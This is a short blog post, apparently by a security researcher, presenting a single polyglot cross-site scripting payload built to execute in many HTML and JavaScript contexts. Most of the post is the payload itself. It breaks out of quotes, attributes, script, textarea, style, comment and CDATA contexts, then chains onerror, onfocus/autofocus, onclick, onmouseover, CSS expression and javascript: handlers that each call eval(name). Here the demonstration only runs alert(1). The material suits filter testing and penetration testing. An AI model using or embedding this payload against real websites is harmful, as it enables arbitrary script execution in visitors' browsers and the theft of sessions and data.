title: One vector to rule them all
description: "A single XSS payload built to execute wherever it lands: inside double or single quotes, inside an attribute, or in element content. It closes a long run of contexts (script, title, textarea, noscript, style, xmp, comments and CDATA) then offers many handlers at once - autofocus/onfocus, onerror, onclick, onmouseover, expression and background - each calling eval(name)."

I set myself a fun challenge to create a vector that would execute in many contexts. The idea being that it should work regardless where it's placed. For example:-

```html
"xss"
'xss'
<tag alt="xss">
```

As an added challenge I tried to execute only the one payload and where possible to use a single eval. I had to use multiple evals as the contexts increased because for stuff like background= etc there was no way I could figure reusing the existing one :( So I had around 19 then got bored.

One vector to xss them all, one vector to find them,
One vector to bring them all and in the darkness bind them.

```javascript
javascript:/*-->]]>%>?></script></title></textarea></noscript></style></xmp>">[img=1,name=/alert(1)/.source]<img -/style=a:expression&#40&#47&#42'/-/*&#39,/**/eval(name)/*%2A///*///&#41;;width:100%;height:100%;position:absolute;-ms-behavior:url(#default#time2) name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) onbegin=eval(name) background=javascript:eval(name)//>"
```

Updated added new vectors and removed any that weren't required. Thanks to @LeverOne!!

2nd Update...Fixed comments, added name to `[]` rule so it executes without `window.name` for dom rules. Thanks again for some fixes by @LeverOne
